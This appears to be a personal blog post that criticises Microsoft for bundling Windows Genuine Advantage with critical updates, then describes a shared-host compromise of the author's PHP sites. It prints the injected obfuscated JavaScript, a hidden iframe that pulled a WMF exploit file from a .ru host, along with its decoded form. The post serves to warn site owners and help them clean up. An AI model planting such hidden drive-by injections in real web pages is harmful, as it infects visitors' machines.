Microsoft vs. Spyware

OK, I realise that whining about Microsoft is about as passé as whining about taxation, and about as likely to have any effect, but some similarities struck me the other day.

I was cleaning up some spyware or something from some of my websites and I thought it would be a good idea to make sure that all my windows machines had the Microsoft patch for the WMF vulnerability. Start windows update running, click through the defaults, ignore the 792 page EULA and download what Microsoft classifies as “Critical Updates”.

One of the things people hate most about spyware, adware and their associated inbred toolbars and whatnots is that they use deceptive means to fool people into installing them. They either outright lie, or they provide one attractive feature and embed permission to do whatever else in an incomprehensible 792 page EULA.

Some large software companies behave in a remarkably similar way. What I requested from Microsoft, and what it was implied I was getting, was critical security updates. What I got instead was something called “Windows Genuine Advantage”. Now Bill and I clearly have different ideas about what is critical. To me, something that as far as I can tell just allows Microsoft to check if a computer is running a legal copy of windows is not critical to me. In fact it is not even desirable. The only reason I installed it was because the information provided was a mixture of misleading and too long to read in detail.

In the medium and long term, I think it works to everybody’s disadvantage. The last thing the world needs are more unpatched windows machines connected to the internet, regardless of whether they are unpatched because of owner inaction, or because Microsoft decided to stop providing patches to machines with serial numbers it dislikes, the end effect is the same. More zombie machines wasting bandwidth and probing others because they have been infiltrated through well known vulnerabilities.

Spyware and popups close to home

It seems somebody, somewhere has a fine sense of irony. A few days ago I posted about a sleezy popup advertising vendor. Then on Sunday morning I looked at my blog to find that it has been altered and code has been inserted in numerous places to force downloads of a (presumably corrupt) WMF file from a website with a .ru extension.

My web host was really, really, remarkably useless, so I am a bit short on details. I think the most likely situation is that an automated script running somewhere on the shared web host was spidering from account to account and inserting its payload into files with .php or .html extensions wherever it found one writable by the webserver user.

There are a few obvious morals to this story.

  • There are scripts in the wild that target PHP sites on shared hosts. Be careful with yours.
  • Have as few files as possible writable by the webserver user on a shared host. I am sure you already knew this, but it can be hard because,
  • Writers of web apps, such as forums and blogs require you to have some files and directories writable, so if you are choosing such software for a shared host see if you can find ones that require as few writable files as possible, and
  • No matter how low your expectations are for the quality of support you expect from a crappy <$10 per month web host, it is always possible for those expectations to be exceeded.

If you have rarely checked stuff sitting on a shared host, it would be worth grepping for some distinctive code from that (perhaps “error_reporting(0)”) to make sure you are not in the same boat.

The whole situation of course serves to make Aussie Hero Dale Begg-Smith all the more lovable in my eyes. For anybody who does not understand why people hate these sort of business practices and the arseclowns that practice them, it is because they make their money at the expense of wasting other people’s time. I spent half of my Sunday cleaning up this mess, and still have a few more domains to fix now (Monday night).

In case anybody is curious, the code generally looked like this:

else {


<script language="javascript" type="text/javascript">
var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@ %kwws=22xvhu4<1liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@ 4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h='';

which un-obsfucated is:
<div style="visibility: hidden; position: absolute; left: 1; top: 1"><iframe
src="" frameborder=0 vspace=0 hspace=0 width=1 height=1
marginwidth=0 marginheight=0 scrolling=no></iframe></div>

In one file I also found:

<a href = "" class=giepoaytr title="hackmai 2.0">hackmai 2.0</a>

There were also assorted files with generic sounding names created, like date.php and report.php and .htaccess files created or appended to to direct 404s to the new bogus files.